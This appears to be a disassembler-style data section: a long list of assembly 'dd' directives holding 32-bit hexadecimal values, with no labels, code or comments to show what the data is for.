		dd 8F9A2218h, 1F5BD7E1h, 1CC6978h, 99B79F2h, 3B3892CEh
		dd 746EAC17h, 0A99BD900h, 0A4AD790Ch, 72D4D612h, 162063BCh
		dd 9E963FB8h, 25AD949h,	29392BA5h, 0F67605Fh, 0BFE69D31h
		dd 20EB604Ah, 0F98D01DEh, 0FB9A96BEh, 805835ACh, 3912DE8Eh
		dd 7D19FB62h, 0FA52712Bh, 2204FA05h, 0CBEDAA9Dh, 91340CADh
		dd 1D5F634Ch, 38494CD2h, 9E5F4A2h, 0B9D96141h, 5CB299Dh
		dd 0A530572Ah, 543C3B39h, 0A07980F7h, 0D1423883h, 0F51F01B5h
		dd 0D67D9C65h, 17F1E6FFh, 0D5379600h, 9DE29311h, 5642C194h
		dd 352F7621h, 0E11000F4h, 5AA43191h, 39E9FC5Ah,	2D78082h
		dd 0D32564E5h, 2E885063h, 0A913E075h, 38BA03E9h, 0E15A994Ah
		dd 5DA022F7h, 2FBEFD34h, 144C7D40h, 5E5C7CBFh, 17EF6E32h
		dd 0D9AA7DFDh, 6AD46F55h, 23176BBAh, 87FF0117h,	2F56DDB7h
		dd 8501D090h, 0AF165AADh, 645A196Ah, 0D8A7AAD1h, 3195E04Ah
		dd 51C81383h, 657ABA16h, 50001B23h, 531DF64Ah, 0A0BE2771h
		dd 0A8F35A00h, 109D5FAEh, 723F37E9h, 0E9BF4E0Bh, 0EB81C173h
		dd 0B86F1F47h, 61AAD697h, 2E31A5E4h, 0D09C98h, 615E6D8Ah
		dd 44C325C5h, 0FEC97105h, 81BA6AA7h, 80629A8h, 13CCBAD9h
		dd 0B63FDB80h, 0F887451h, 0BF57A08Ah, 3A360A08h, 8BFEB037h
		dd 5B760F91h, 32E9124Dh, 7A55C96Eh, 9D29A2B0h, 81F75299h
		dd 120CBB4Fh, 0A46B367Dh, 34E822Ah, 281688Ch, 99C63BCFh
		dd 7DA6BA22h, 2D20CAD8h, 4ECA982Ah, 812BC4F5h, 6E0271C9h
		dd 0D10163C8h, 2B13EDA6h, 3E85E7C8h, 0FEF4481h,	14A5BB47h
		dd 0EBD3D18Fh, 0A09DE3C8h, 0E6F8BF4Ch, 63D4BE80h, 5F8B4C44h
		dd 3A6761F0h, 2AF6B4Eh,	15B195B5h, 0BDD94E1Bh, 20BED233h
		dd 0A4BB9223h, 0C6019400h, 3534955h, 92C1599Dh,	111E5B24h
		dd 20BB0257h, 7601B78Eh, 0D39DCF2Ch, 222BB247h,	51809D3Fh
		dd 9419EDAh, 57C9B532h,	0C9327661h, 0B5E5CF18h,	62EBCB00h
		dd 9F0BDF85h, 371C3AD8h, 0D181B783h, 701A4A7Ah,	1BEC2054h
		dd 79D0D884h, 49B19D7Fh, 2A0FF95Ch, 0CBC015DBh,	8CB28925h
		dd 0A72CEA04h, 51E8E52Eh, 60513320h, 0A6896A84h, 27466A6h
		dd 4CC1CCD4h, 82BCF1DFh, 0D8B9FE8Bh, 48B66358h,	23F13C40h
		dd 0C5D00B6h, 5A0DA5CDh, 0D20006CAh, 5805087h, 9BF4344h
		dd 24B3DAB8h, 559444D8h, 7EF27DCh, 0FACC1057h, 88A85B0Bh
		dd 1600C407h, 0C07ED6FEh, 1AFC14CAh, 0C5458D09h, 0F5EB0957h
		dd 2FF3896Ch, 0D22BB121h, 3915717Fh, 0CB2E0729h, 0F33C76C1h
		dd 2A999DD8h, 60FA309Dh
		dd 0E81C3DB5h, 42207BC5h, 3C18D271h, 9C0B40Fh, 0FD5802EDh
		dd 0F97502B2h, 85BF8472h, 0ACF3E9B5h, 0A0018C1Ah, 62F0ABB8h
		dd 3D30BA8Ch, 0AF094E65h, 6A4B123Ah, 56BB1692h,	253F95FCh
		dd 0B9ACF8C0h, 959D010Bh, 71DF7412h, 0ECD03D82h, 9578D3C9h
		dd 0FE0125FEh, 0AFD203DBh, 728226D4h, 5C737DDAh, 29481951h
		dd 4EA504F4h, 0B7B57747h, 26F91058h, 80E1FF02h,	0D6742EE3h
		dd 82045250h, 2800C3F9h, 0A325E51Dh, 982F00F8h,	0C07830F4h
		dd 0D04E0504h, 0D56B61EEh, 745F022Eh, 0AD3F51D6h, 5BECD05Dh
		dd 8CCFA30Ch, 5DF9F3F6h, 2EBDF360h, 0B92041C9h,	0A2014B6Dh
		dd 0BD2904C8h, 9B340295h, 99B0C78Ch, 0F653AC90h, 0FF6297B4h
		dd 438BA15Eh, 0D076F301h, 0E2B7FC53h, 1335571Ah, 57811791h
		dd 6EB1998Ch, 41457E9Ch, 7826E0Eh, 0A7B374F0h, 4F47176h
		dd 0AA4C6BDBh, 0C487FE90h, 0C0014D4Bh, 6608E914h, 84401B68h
		dd 9668F807h, 60C8C74Eh, 74612582h, 4C690F47h, 0A4733869h
		dd 76FDC70h, 0BF476475h, 38192087h, 31259D29h, 69E0D133h
		dd 0F8409ECDh, 4EB3727Eh, 60498D43h, 778A0864h,	61603918h
		dd 102EE934h, 0E059A6AAh, 9FBB6D9h, 5D803861h, 97A3E455h
		dd 0D2AF09BDh, 810F284Ah, 89D69538h, 41BCD540h,	6F3E1CC7h
		dd 372301E7h, 613878B8h, 208F540h, 0D8E78461h, 8DEE61BAh
		dd 0E88A2EEDh, 0CB042158h, 0E86404B2h, 0A4C65C3Dh, 271136C1h
		dd 3F68C104h, 8B9E6E7Fh, 0AFE0438Fh, 5EB6E2EDh,	598FDB95h
		dd 0A22F191Ah, 97B1024Eh, 0F4C99D23h, 86782DA7h, 1CC81AE1h
		dd 83733BC0h, 0AD8802DDh, 8BF5C43Dh, 0D82CE37Fh, 177BD409h
		dd 0A7515750h, 92962776h, 88E7C098h, 17640045h,	6B3423CFh
		dd 1A9D7977h, 0BA60D553h, 85972BFAh, 8BAEF9DBh,	874C5830h
		dd 54B5B486h, 2A53D9FFh, 1D718CF2h, 0F494B350h,	8401ECD5h
		dd 0E4EAB878h, 221C7C2Bh, 0BFD95239h, 0BC2A5F77h, 0F6087ABh
		dd 2A96D569h, 96258EBFh, 4F80B2DBh, 3D731DD6h, 0CF2EFA74h
		dd 2E906A29h, 0A8C80C69h, 0FC9D858Dh, 8348F65Ch, 0A0A84BCFh
		dd 2CEB508Dh, 3ADF55B9h, 1CA83CB9h, 0BC0033A4h,	1A016058h
		dd 0F44582BFh, 0B79561h, 79090B09h, 0B08167E7h,	3E179BCFh
		dd 0EBE01497h, 0DF892F38h, 0A620C679h, 0D74B4569h, 15F1E635h
		dd 98021418h, 590FE9BBh, 705A5B62h, 0D6B07F9Dh,	0E5E57325h
		dd 524F12C5h, 0E18AB6C8h, 28F88559h, 651A09A7h,	0CC5D510Bh
		dd 211D20D7h, 0CDEF5B52h, 0F96E7C11h, 427B85Fh,	0A37C97C4h
		dd 0D809EF41h, 6694D520h, 10B02B0h, 5D2A3195h, 0E551103Ah
		dd 0B5B4CB16h, 584816DAh, 0C437001Ch, 560CB026h, 0AC853D4Bh
		dd 677BBFh, 18B3DBF3h, 12ACB006h, 0EBD980D4h, 0D89703DAh
		dd 961D504Fh, 0BB075F51h, 72578634h, 73C8829Ah,	5D07D387h
		dd 39BB4634h, 9AF07A6Ah, 0AD065E41h, 99FECC8h, 5A181787h
		dd 73694774h, 181B594Ch, 0DA27003Fh, 4FEDCAABh,	0BD1731CBh
		dd 75AF12E1h, 80F4A8F9h, 0FD29DD2Ah, 92E600D3h,	0B6B59EC0h
		dd 2C079A4Fh, 7D7B68B7h, 35819B44h, 9E6AC486h, 0D363C032h
		dd 25805CCCh, 7CD952E7h, 2F7B0054h, 7F303145h, 8997F523h
		dd 81842050h, 58A099CBh, 501331E6h, 82869B20h, 0DD0523AEh
		dd 425CE632h, 6A5F5241h, 4ABD6F6Fh, 896622EAh, 2F2861E1h
		dd 257C698Ah, 0B1542735h, 4A1B46DEh, 690F42AAh,	0D975BA17h
		dd 1296130Ah, 8085B238h, 0B4FD50DAh, 3931006Ch,	29018187h
		dd 993F92A9h, 0C0775C8Fh, 5C9E4910h, 0A80E00E5h, 0EFA7E3D3h
		dd 68C59687h, 6FBA1B79h, 3D1C2377h, 3560EECEh, 0B5059D03h
		dd 0CD499979h, 2936C042h, 0F5B59BDh, 37882FB3h,	40E57CA5h
		dd 0BBFC0EF1h, 0FD37E0Ah, 5058A386h, 0C149003Dh, 728E319Bh
		dd 1905B224h, 324D2ABDh, 0D84C90EEh, 0F20FBF50h, 5312BC68h
		dd 19B9CB04h, 0E545A6FBh, 0B8216670h, 1AC1B7B2h, 0FD752E15h
		dd 0C200D8A2h, 6C6E34F8h, 2E099913h, 735FAFB7h,	181659E5h
		dd 0EC0C0226h, 212DBD23h, 80B5EE75h, 9060FA80h,	0BEC20FE0h
		dd 17E4698Ch, 0A4F4B861h, 9B2652FBh, 0BA11811Eh, 0F9D09BE1h
		dd 4C5E9769h, 0ABAED4h,	75DF2FF5h, 0DB105954h, 0B27AC65Fh
		dd 17EBDE01h, 8F912C5Ch, 8B9589DAh, 0ED9E572Fh,	75C1BB03h
		dd 0A5E92EA1h, 6F1113BBh, 57202593h, 999DC298h,	0BCBC184Eh
		dd 0A000B6D7h, 253715C7h, 0E1CE8DB3h, 0B5207122h, 0FDD86B93h
		dd 0D074FBFh, 0B9618AECh, 0E09EC500h, 0F159B526h, 444817F9h
		dd 0A1290B49h, 375D6A07h, 9DA8A6B8h, 88445E5h, 0BCCCA96Ah
		dd 74FC4871h, 1062B75Eh, 94402ED9h, 0FF12DD1h, 0EF12AE54h
		dd 0F809F0E0h, 0FA024A29h, 13FAAC35h, 393F6FF7h, 551B04A2h
		dd 0AC2BECCh, 0A7AB55CDh, 25DE1AD6h, 92D7CE79h,	4A5E8EDEh
		dd 0F62B12h, 47C031F5h,	0FC93AB49h, 574B6BBEh, 7D008F64h
		dd 0B090FF10h, 437CD36h, 7F319AB2h, 0A7DAEB7Ah,	1FC3FED1h
		dd 0BF80F3BCh, 5225B368h, 9002E65Bh, 0D1BBA058h, 19BF1266h
		dd 89E1E299h, 4F3DD5B7h, 4C0B1B9Eh, 854DF6B6h, 0BA18E595h
		dd 0C4B6D134h, 5FF7FEA4h, 80154354h, 6809EF81h,	126A0D3h
		dd 3EC8BB37h, 0E807043Ah, 0B9875E0Dh, 0E0F0DE89h, 980AD1Dh
		dd 1F0462F8h, 0F2103FFh, 0D0BAA831h, 362109C2h,	880BB966h
		dd 5E586255h, 343FDCDBh, 985800B5h, 89334AA7h, 0B2F14B8Dh
		dd 2D1594F4h, 0C617D9B7h, 40B332DBh, 1BF09D0h, 79D7F8FBh
		dd 3B604056h, 28237C08h, 54982503h, 1C70BC73h, 89EEB7FCh
		dd 1F423A97h, 0EA7EAF2Bh, 80F82AE0h, 0BF7F02CBh, 6519ABF1h
		dd 0F742DF2h, 13258091h, 8A19E814h, 9DAF006Ch, 495A4223h
		dd 0C602EFC0h, 0FEAD1B3Bh, 5BFB82A3h, 40C5FC90h, 799249ACh
		dd 0C4E2FB09h, 3C437B60h, 1DEEB90Eh, 88846569h,	12745403h
		dd 1FF661F7h, 4E39B240h, 0CE6EAF13h, 0A84EEA57h, 211705F8h
		dd 0E0AAC85Bh, 1F4F8D91h, 74A66CF7h, 0D9A18D25h, 521B648Eh
		dd 40AFD916h, 0A03EBB78h, 0E4252450h, 23161071h, 0B99C0041h
		dd 0A2B32535h, 7C0474E5h, 7A1A3AEEh, 5F97F6EAh,	822AB5A0h
		dd 8181205Dh, 7A4768D7h, 0C73897BAh, 41E3D6Dh, 718924A0h
		dd 215801A5h, 0F4615B07h, 0D2BCF87Bh, 42E16D12h, 928CAC6Ah
		dd 0AC3A42E1h, 0C82B80F8h, 9C219D09h, 89D18236h, 0CEFE6585h
		dd 9C619B91h, 7AD6D8F7h, 0C2606F8Dh, 554C0150h,	0DD81BF47h
		dd 0F9BC2ECFh, 9B7E5127h, 8529CB02h, 0DAFA90Dh,	17522030h
		dd 9773D5DEh, 88CCDB2Dh, 569527BDh, 0D2C30945h,	0A4357923h
		dd 1DF30258h, 0D6896137h, 394699D7h, 25860414h,	6529BB2Eh
		dd 2E159E42h, 0C2D687C9h, 81A750h, 6F641D21h, 66DFCAADh
		dd 0E47F0C82h, 0B2215BBDh, 6F34844Eh, 6AF88B02h, 0E0E76DF5h
		dd 3295A127h, 82A07200h, 8A605D90h, 0E984C5F4h,	0A9AE5006h
		dd 0ACAEE94Ah, 19E68C1Ah, 3AE37805h, 0C304BB3Dh, 0B902332Dh
		dd 3DDD0EF1h, 1A7B0AABh, 0E910995h, 0EBC6E755h,	0CFFC23ECh
		dd 0E14E0E62h, 3BFC072Eh, 2B431D7Ch, 0BFD291C0h, 5BB420F4h
		dd 8142B664h, 0F8DAE381h, 6E3ECF71h, 4CE000F0h,	7578EB89h
		dd 0A14D7187h, 0DC2E199Ch, 65F60352h, 4AED2E4Ah, 98C18BCh
		dd 0BBBE3ACAh, 2ED06E2Dh, 0E3F8529Dh, 3F4425CDh, 7693CE5h
		dd 0DD89F584h, 47E1154Dh, 8EBAD4F1h, 35E70125h,	7730761Ah
		dd 0B280C337h, 8218EFF2h, 4D762758h, 452D1164h,	58F95E17h
		dd 3E094A28h, 792E3F74h
		dd 0BD33024Dh, 71D52491h, 3BED4B8Ch, 0E6455240h, 58630E2Ch
		dd 0FFA0AD31h, 828CBFE1h, 0E5605725h, 63B11A29h, 0DF9BA02h
		dd 9FA4757h, 414F03B9h,	8A4A6C43h, 53275E58h, 829EEEFCh
		dd 0E89CDAC2h, 17557140h, 74BF6080h, 38EE25B4h,	0BBDB29E2h
		dd 55B4370h, 32DF36B2h,	16D5A844h, 14EC04C1h, 0BACCBBC4h
		dd 0BA4FDFA2h, 482E1D2Dh, 2B96293Bh, 0EA9232A8h, 0B69220DAh
		dd 0BE4500C8h, 818C1B2Ch, 0B69009DBh, 0CCD532EEh, 89C179EDh
		dd 10C36E60h, 0F6BA98D3h, 11616BC4h, 3182A256h,	8913FD95h
		dd 8010774Ah, 0BE00761Bh, 8DB4ADFh, 9DC58h, 68BA8E89h
		dd 26DEFAE4h, 0EA0E3FEDh, 755B0980h, 0FF2EC7E5h, 2B781180h
		dd 2F64562h, 0E7F49D46h, 0E275DA8Fh, 0F2B25732h, 1CE8F175h
		dd 93D56561h, 562400FFh, 225513BFh, 0CB955F68h,	0C4B0D15Bh
		dd 0D78952D4h, 9E20AA31h, 769234h, 27DF91E7h, 2FD4693Ah
		dd 0B00BC477h, 0F47236EFh, 319E4095h, 66052C3Bh, 0C3D2537h
		dd 0ED17FE00h, 12585F5Bh, 0BBFFCB80h, 65BF1260h, 2C9A979Dh
		dd 2B075F7Eh, 1B4E90Fh,	80AEDEAAh, 10D8237h, 4BF07E3Dh
		dd 3A21CDB5h, 18C1D1B5h, 0B1D5E72Ah, 1F6AA353h,	0E7D1AD05h
		dd 30AD974Fh, 4FE7F35Ah, 94EF3C85h, 4EDBAB58h, 0D160AFD2h
		dd 979D2942h, 98AAAC5Ah, 8032BDDFh, 0F3AC5D4h, 839EDBC6h
		dd 74F26225h, 3404DC65h, 0E966B6BAh, 4EC0DBB8h,	35C66141h
		dd 99221C00h, 3233E3FFh, 20BF0250h, 9662919Ch, 8961BAD4h
		dd 0BD2A1DB5h, 68A0D8C5h, 48B470B2h, 0DF133B91h, 4DAFA0E1h
		dd 6F1E4F09h, 0A57571F5h, 8E7EE3F6h, 0CFC409FBh, 46C6BD89h
		dd 57DAE025h, 4C2C89B5h, 0B28A1FE0h, 78CE000Fh,	963F27Eh
		dd 3340259Dh, 6E614EF5h, 13524Dh, 0A293D198h, 9BB2E05h
		dd 11E7D327h, 0E6B8771h, 3DBA32CEh, 0DD29CA40h,	80226DC1h
		dd 0BF12B311h, 4B811EC4h, 0F8889A6Ah, 0F8008C1Bh, 0C174B843h
		dd 0B7300698h, 9D2769F8h, 0F43ED60Fh, 17B55900h, 0BFA95276h
		dd 20401DB6h, 66B24226h, 0CAD14C91h, 3849E201h,	352CEC58h
		dd 0B1B876A0h, 0C5097E25h, 38CF1DB2h, 0BC9DED4Fh, 228617CCh
		dd 0CB32EE2Bh, 0E696DD8Ah, 0F95B9B64h, 0F357DCEAh, 0C6324A25h
		dd 0B9F85A7Eh, 0AC17AC27h, 43253CC7h, 1974A4A7h, 0D099DC1h
		dd 0E081EF04h, 0E76AFCC2h, 4019B0D4h, 659101CDh, 2E28B5B0h
		dd 4FD287C0h, 768A933Dh, 0DDFA5244h, 0C3AC7B71h, 0BF575B25h
		dd 458C8064h, 0C5A4CA70h, 0F1969FB0h, 646E6DA5h, 0E6676016h
		dd 8B502F7Eh, 5F4B50C4h, 0DA6CBA04h, 0C8379AAEh, 0C03AC714h
		dd 53F76AE7h, 31AF085Ah, 19D9B713h, 4B2D0764h, 8C3B857Fh
		dd 500AE4B3h, 54EF007h,	6F78C0D2h, 5F0C25BAh, 905550C2h
		dd 1CF83D42h, 408359B9h, 556A42Dh, 0B328D25Ah, 9C0BEB61h
		dd 7433FEC7h, 59EDE9A2h, 2509784Bh, 0AF732A3Dh,	0A0ACF996h
		dd 0E9151696h, 9379CEB3h, 0AB918CAFh, 73DA9A4Ah, 8BCD305Ah
		dd 0FEBA50DFh, 9FE7D497h, 7956A7B7h, 38AD1902h,	858B0A06h
		dd 0ABDA8B60h, 734C6AA6h, 8F39A24Bh, 9895B229h,	858E60FBh
		dd 3A972F49h, 58E40312h, 0E675CA44h, 0D0D19702h, 260D18Eh
		dd 5CFA64A2h, 0A56B5107h, 78FF7B30h, 0EC4A6922h, 0CB05BBF2h
		dd 0AA8B2808h, 96C9E7B1h, 0E16EDEDDh, 0F8AD2E27h, 0E0D1E7C0h
		dd 0FE017BD3h, 19406561h, 6E2B9693h, 0FB220AD1h, 90BF03Dh
		dd 59CE7423h, 1C881BDAh, 0CCD5E8C0h, 3C86053Eh,	0BB2915B9h
		dd 0BD230D30h, 0ED2EEF61h, 636AB9D8h, 319821F7h, 6C948595h
		dd 0F3E95B16h, 0A84EB9D2h, 0DCAE017Fh, 0E6541C07h, 29E1CC9Dh
		dd 2D919512h, 28E24CB8h, 7E9ADF2Bh, 3F5651CAh, 3060EB68h
		dd 8C92FAh, 0DDA338CAh,	0C67EB0E8h, 4903AEB7h, 85CD7503h
		dd 528AFB2Dh, 0B4F55175h, 0E854BBA8h, 51A17607h, 9C26E67h
		dd 0ED925D89h, 0D753C07Fh, 0C01B12D4h, 0CF6B354h, 4B619D31h
		dd 0EF5D290h, 44F8DEE2h, 0C5A42175h, 70828B97h,	8A7CBFA2h
		dd 93680CDEh, 8E86108Bh, 0CE73D6E1h, 7C716178h,	0BF1402FCh
		dd 3FF8B30Fh, 5F2FC756h, 31900011h, 0F904A765h,	1A462FECh
		dd 60A95700h, 0E382E5A8h, 0E67E0204h, 330EBE97h, 45BB7860h
		dd 1A416CEAh, 0CC5C12AFh, 0AF1C5E5Bh, 0C9A2B621h, 0D1A6C4h
		dd 0B51A5711h, 0CEAE810Ah, 7632E927h, 2D1A490Dh, 859AD9FFh
		dd 0AA5FE1A1h, 0D99513C0h, 0F0808029h, 0CF9561ECh, 0B7DE4085h
		dd 775A2C5Ah, 11D4491Fh, 69B5C2F0h, 0FAED5517h,	0A1E0F4E8h
		dd 131C5BD5h, 44519D29h, 0ABD98BF8h, 14C8FEDAh,	55F869CEh
		dd 0FF27D2C4h, 0C068EDD1h, 799C010Ah, 99099D71h, 0E4161FC0h
		dd 0F39F1C62h, 38A10075h, 4645F240h, 263AA200h,	98B6645Eh
		dd 5BF70481h, 0EE63B7CAh, 4821488Bh, 48F60212h,	500DEAE0h
		dd 36FA604Bh, 3AA20B94h, 0BDCD10F7h, 0DD334A01h, 0B5F201B3h
		dd 0F0BB0307h, 257D4326h, 0FF597BE9h, 100598C7h, 9F4D30FBh
		dd 0B0097959h, 5D91FAF9h, 0B89000B7h, 8504D921h, 0F8099293h
		dd 7F6E755Ch, 8AAC6D52h, 0BC09BFB5h, 8F9C572Fh,	0D4C494h
		dd 0DF749EF1h, 0A67011E0h, 29BD0B09h, 0A7605B02h, 0A96AF907h
		dd 17C0FE4Dh, 2BF12FCh,	4FBCBB4Ah, 0E6F735C0h, 9D0B0C15h
		dd 0B5790579h, 2DF5D57Fh, 3DBC68h, 0BF217022h, 0DCDB6E6h
		dd 297E0497h, 18A27AACh, 0C508D12Ah, 0F0B01728h, 32B82B8Fh
		dd 133D32F9h, 5B270E6h,	598D5300h, 0B619FD3Fh, 0C72B3B09h
		dd 600F0778h, 0C8AE8B14h, 0BF090F52h, 0F55F61CFh, 0DB6025C4h
		dd 8FD5BB49h, 0AE334ABFh, 0BAF8F144h, 4D34DCF3h, 0B263C4B1h
		dd 29120064h, 0C34B5C04h, 0F0DB0092h, 39B10DB2h, 0B00BD307h
		dd 7529DFB3h, 3A01296Ch, 0D7DE8DF6h, 0A9144A8Fh, 50D108Eh
		dd 0E9E5E092h, 4C958770h, 0DC2000D5h, 1CF71171h, 0F4008C64h
		dd 0FB6B08D4h, 17A41BC4h, 72A9D74h, 4E491Bh, 8FCF8144h
		dd 2B01CDFDh, 40489911h, 503DBED5h, 1EC33751h, 0BFCB8001h
		dd 998482Bh, 0D80DABA0h, 133DE961h, 0F98B352Ah,	5BD8275h
		dd 0C6EC5515h, 8D302245h, 0F22B5A35h, 59BDC4F3h, 7601434h
		dd 0B6740A12h, 7E251077h, 33DC0127h, 5E494449h,	0D3C5B921h
		dd 90F0208h, 944254B9h,	372F0B54h, 0D8180020h, 0A52FDB7Fh
		dd 3B261724h, 19131588h, 34097261h, 0B79FFC17h,	386904C8h
		dd 0A9A08178h, 0F9610722h, 9041C02Bh, 0F23A1B55h, 0C3A692CCh
		dd 0E3E7E8A0h, 6228DB75h, 0A125C36Dh, 60915B22h, 8BFAF381h
		dd 0AD635D3Eh, 809DDBDh, 11863557h, 82438018h, 97392AA1h
		dd 79B5CF30h, 82B1598Ah, 26D9BD23h, 71997355h, 2184C31Ah
		dd 25E4E799h, 0AFE28E2h, 0B53DBABAh, 9C76A459h,	4B33C159h
		dd 0F6C63188h, 0E7BB6620h, 434DB56Bh, 0CA6AFFCBh, 30DB7B41h
		dd 2BE1E9A2h, 0BFAD8F38h, 876056EFh, 2650C75h, 1E629A0Dh
		dd 6D77A611h, 62144439h, 51895702h, 0CDAD9353h,	3F674074h
		dd 0E50B78FBh, 0BBF3652h, 6034540Bh, 0C08AE881h, 610EFF1Ch
		dd 2685217Fh, 30FE1602h, 0F85A6B36h, 72869C00h,	20BB1EACh
		dd 84171223h, 5285006Ch, 5F25E376h, 33E1FF29h, 15C64525h
		dd 0F934F5B4h, 0DE2AA66h, 0F704BE85h, 0E8AFA1EBh, 2A127968h
		dd 89C7B2C9h, 0F6E6F659h, 7C1C3D2Dh, 2629100Eh,	1DE3960h
		dd 4AF89873h, 2BD258EEh, 0A26FE316h, 0BCAD017Bh, 0A336AEF9h
		dd 0D7FC8403h, 0E2AC4E72h, 963BDB4Ah, 5BC16EBh,	0AF1A85F8h
		dd 1A3BCE32h, 7BD4DE56h
		dd 0CF8E01FAh, 0DF98E090h, 78322A24h, 0E1EA7556h, 0D09A5355h
		dd 0F07A2560h, 0E162EF04h, 4BE4173h, 13136951h,	0D7091D0Ch
		dd 0FB904F61h, 0F5D7E830h, 36283AADh, 0F5ECC637h, 1942AB5Bh
		dd 705325BFh, 56572535h, 0DB4C0B77h, 0C4F7787Dh, 0D4AE6702h
		dd 82E8D98Ah, 935B9h, 0D0F1B168h, 32C8294Fh, 8F170024h
		dd 7662828Ah, 0D3003537h, 0E9E589FEh, 4BD2991Fh, 0DD9F20B0h
		dd 0FB1FA50Bh, 0EC4FFD4Eh, 0C3290361h, 3F4CC8A8h, 545697B6h
		dd 0F1AA5B44h, 0CFF2FC33h, 26A2294Ch, 3109C9D9h, 0A7915113h
		dd 0FE547C62h, 20377D49h, 0E32C6680h, 76FDEC8Eh, 63C0BD38h
		dd 0E912E2B7h, 74EA01EAh, 8204AD81h, 5586C781h,	7397D6E6h
		dd 0B9FA78B8h, 49DF5C95h, 0DEDD29D7h, 0D012F6D0h, 65EE87C7h
		dd 5A2CE3F4h, 2A2DD2A8h, 25C6E79h, 0A87FEFAFh, 0C4D503EAh
		dd 0FF894F04h, 35950460h, 0F0D99520h, 55F12C5Ch, 0E1BD0C93h
		dd 851201C9h, 2DB91911h, 5C8C1AA8h, 0AE4FBD8Eh,	5B34A314h
		dd 515401AFh, 28EB8A60h, 0C27880E1h, 2FE56EDFh,	665EFCC8h
		dd 0D08B6005h, 13AAF6AEh, 80BB19E7h, 9686DC8Fh,	0DCE1BEh
		dd 1AAB0AD7h, 0B5FF12A1h, 0F6355E9Fh, 276B8413h, 0BB8024A2h
		dd 78853F77h, 3BC9C0B8h, 0CE4D0C8Ah, 0C78724BFh, 47C149AFh
		dd 0F1C32658h, 0F87E3FD5h, 71FC891Ah, 52908CB8h, 0C29FFA60h
		dd 48C5DF8Dh, 13D1A4ECh, 64905F59h, 751AFC1Eh, 2B5EBD7Eh
		dd 9AB441BDh, 0B1D4C0A8h, 0F11EC2h, 0BFD5874Dh,	793C2B91h
		dd 0BD1002B0h, 69722819h, 2A97485h, 46478251h, 6FEE120Eh
		dd 8C142E5Fh, 2C28D300h, 0B5E91809h, 0B80F8C29h, 0AA699C13h
		dd 5F92BF00h, 7C2291E0h, 1CEA1E9Ch, 0D2BB0EE9h,	0D937F2C7h
		dd 25DDC971h, 3A50C353h, 0C0900BEFh, 3B5884ACh,	0C5E27F25h
		dd 0EBB71382h, 0AA3E0E8Eh, 97789EDFh, 2305AFBCh, 0FC31B7BBh
		dd 0DA00AAC0h, 0BE38FFA8h, 0F97A69A9h, 7236E295h, 5B8DECA4h
		dd 6A6EAE33h, 23CF344Dh, 36755160h, 1913C8F8h, 9CE8568Bh
		dd 0D9E69880h, 675B661Ch, 306D39AEh, 3140290Bh,	789550h
		dd 0C02B0345h, 34895B08h, 0DC6374B5h, 0DD428C18h, 82271DF6h
		dd 2E5EA60h, 0EB565C9Dh, 0A6E4C410h, 0D187CBFDh, 66C62D85h
		dd 121F489Eh, 0CAE204B5h, 21D98B85h, 6A096074h,	0B3FB95C4h
		dd 25B0758Fh, 80F58039h, 0FFDEA504h, 0A9035Eh, 0AEE235E4h
		dd 6120D2E9h, 620C5C9Fh, 0DD320ACFh, 256FA6C0h,	9F2090B7h
		dd 0BD0E0760h, 0F87F4DF9h, 25B55308h, 0A5F3DF8Bh, 1D5ACDD0h
		dd 0CA0D500Ah, 17D03866h, 3775AED9h, 25A110B6h,	0B31A2EEFh
		dd 0E99D5653h, 0D4507Eh, 0B1EE9535h, 61C56554h,	8222E225h
		dd 5745E64Fh, 6B1364E1h, 6A4E5A8Bh, 0F0970924h,	0DD31023Eh
		dd 9D230129h, 2517E15h,	273BB82Ch, 0A861B507h, 4A242B33h
		dd 0F068B7AAh, 2642D8E5h, 295160B1h, 39A580D8h,	0C76CE2D3h
		dd 0B5C123BEh, 960332B9h, 50DE8609h, 28A7960h, 0B3CA29B0h
		dd 95604576h, 25809BEAh, 9E649661h, 2D81FB0Eh, 0E5EE604Ah
		dd 5EFDAD48h, 8578D0Fh,	0D13CBB70h, 8F792DE5h, 5CF0292Dh
		dd 0B373EB21h, 1FA3550h, 800534A5h, 54DDE8E0h, 0A31FB8ADh
		dd 7ABB8547h, 0C5FF13F3h, 272080ECh, 3BDF99Dh, 52C870AAh
		dd 0B5C58CCDh, 97745601h, 0F33D422Ch, 282AC0F3h, 67B6249Dh
		dd 0CD2E02D1h, 1557AFB7h, 0D1F24136h, 97B035C5h, 22BAF5A2h
		dd 0CF7781DCh, 0E137C00Ah, 46796EAEh, 0C7BEFEBDh, 309981Dh
		dd 1C427DBDh, 0F81973DDh, 0B51A7EC5h, 40D35396h, 97EA507Ah
		dd 0CE6D26BAh, 0AB1FEB60h, 4C53FA19h, 0EE5B1C6Eh, 95BD6045h
		dd 3B753DAEh, 0B44935BCh, 0B5037DBCh, 0C0BB7ED3h, 9F8C8CE1h
		dd 14BA00A2h, 0B789D0FDh, 9727871Fh, 55A67429h,	53D56900h
		dd 268C8F49h, 0AEA0AB1h, 0DE62C6DBh, 4E0A6000h,	5A37651Eh
		dd 120593ACh, 2E06B129h, 3821923Dh, 0E9A4D03Bh,	8F97F23Eh
		dd 0D7916B6Ah, 0CA2B36B5h, 5765779Ch, 44819599h, 257BE83Ch
		dd 496376B3h, 8ADAE1DFh, 0F85C213Fh, 268C7E6Ah,	0DF5B064Eh
		dd 1A611F01h, 0B414669Dh, 0B8EB4064h, 7700414Ch, 482E607Fh
		dd 1CA67D2Ch, 0EF898E8Dh, 9E942C55h, 0EF107194h, 5DC5725Ah
		dd 7420BA53h, 75F3EB7h,	0B5B9AFCh, 11DD6950h, 5D100857h
		dd 3C055C47h, 7AD82DAFh, 1DE36F40h, 15DD7Eh, 57905B35h
		dd 53B13BBFh, 0E05F5427h, 0FB23C790h, 956D8920h, 4DA44B7Ch
		dd 0C5EB15DEh, 8711A4D7h, 0C9125F03h, 899D81B9h, 5779100Dh
		dd 40C2CD69h, 8C0FFE55h, 202E0A45h, 0D3DA3FF2h,	0EE9C9525h
		dd 61359F5Dh, 0D1FFDC04h, 276184C1h, 89D0E37Ah,	0A89A7534h
		dd 24AD7C4h, 503522AFh,	4A971BC6h, 76E4406Ch, 743500AEh
		dd 173C648Ch, 0A1160577h, 49FBE90Bh, 117B153Fh,	0E76625BFh
		dd 109E0806h, 0D19D3102h, 0D0D67B2Ah, 0BE598459h, 686016E1h
		dd 1DACDBADh, 49D0038Ch, 0E690A55Eh, 86DD60CFh,	0F0981B7h
		dd 0FD50F9BFh, 72BBF698h, 39899013h, 0FA892DB8h, 65FB6DD5h
